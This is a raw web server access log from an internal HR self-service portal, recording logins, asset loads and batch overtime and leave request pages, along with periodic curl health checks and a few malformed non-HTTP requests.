192.168.11.35 - - [05/Sep/2025:18:44:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:44:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.35 - - [05/Sep/2025:18:44:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166986 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:44:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166986
192.168.11.35 - - [05/Sep/2025:18:45:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:45:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [05/Sep/2025:18:45:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [05/Sep/2025:18:45:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:45:50 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:45:50 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [05/Sep/2025:18:45:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [05/Sep/2025:18:45:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:45:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [05/Sep/2025:18:45:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:45:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:45:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.35 - - [05/Sep/2025:18:46:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166986 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:46:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166986
100.64.0.1 - - [05/Sep/2025:18:59:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:18:59:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:18:59:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:18:59:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:19:06:31 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:19:06:31 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:19:08:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:19:08:37 +0800] "GET / HTTP/1.1" 200 439
192.168.11.73 - - [05/Sep/2025:19:25:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.73 - - [05/Sep/2025:19:25:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:25:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.73 - - [05/Sep/2025:19:25:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:25:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:25:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.73 - - [05/Sep/2025:19:25:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.73 - - [05/Sep/2025:19:25:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:25:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.73 - - [05/Sep/2025:19:25:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:25:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.73 - - [05/Sep/2025:19:25:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:26:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029896977234926236 HTTP/1.1" 200 54628
192.168.11.73 - - [05/Sep/2025:19:26:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029896977234926236 HTTP/1.1" 200 54628 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:26:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029896977234926236 HTTP/1.1" 200 56808 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029896977234926236" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:26:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029896977234926236 HTTP/1.1" 200 56808
192.168.11.73 - - [05/Sep/2025:19:26:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:26:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074
192.168.11.73 - - [05/Sep/2025:19:26:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:26:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.73 - - [05/Sep/2025:19:26:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.73 - - [05/Sep/2025:19:26:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:26:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [05/Sep/2025:19:26:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561
192.168.11.73 - - [05/Sep/2025:19:26:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.73 - - [05/Sep/2025:19:26:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:19:28:29 +0800] "\x03" 501 203
100.64.0.1 - - [05/Sep/2025:19:28:29 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [05/Sep/2025:19:29:49 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:19:29:49 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:19:33:18 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:19:33:18 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:19:35:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:19:35:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:19:37:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:19:37:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:19:39:49 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [05/Sep/2025:19:39:49 +0800] "\x03" 501 203
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.12.66 - - [05/Sep/2025:19:43:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [05/Sep/2025:19:43:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.12.66 - - [05/Sep/2025:19:43:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.12.66 - - [05/Sep/2025:19:43:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.12.66 - - [05/Sep/2025:19:43:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.12.66 - - [05/Sep/2025:19:43:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.66 - - [05/Sep/2025:19:43:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890
192.168.12.66 - - [05/Sep/2025:19:43:33 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.12.66 - - [05/Sep/2025:19:43:33 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [05/Sep/2025:19:43:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [05/Sep/2025:19:43:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [05/Sep/2025:19:43:49 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.12.66 - - [05/Sep/2025:19:43:49 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:49 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:43:49 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.12.66 - - [05/Sep/2025:19:43:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.12.66 - - [05/Sep/2025:19:43:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:44:31 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:44:31 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.12.66 - - [05/Sep/2025:19:44:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
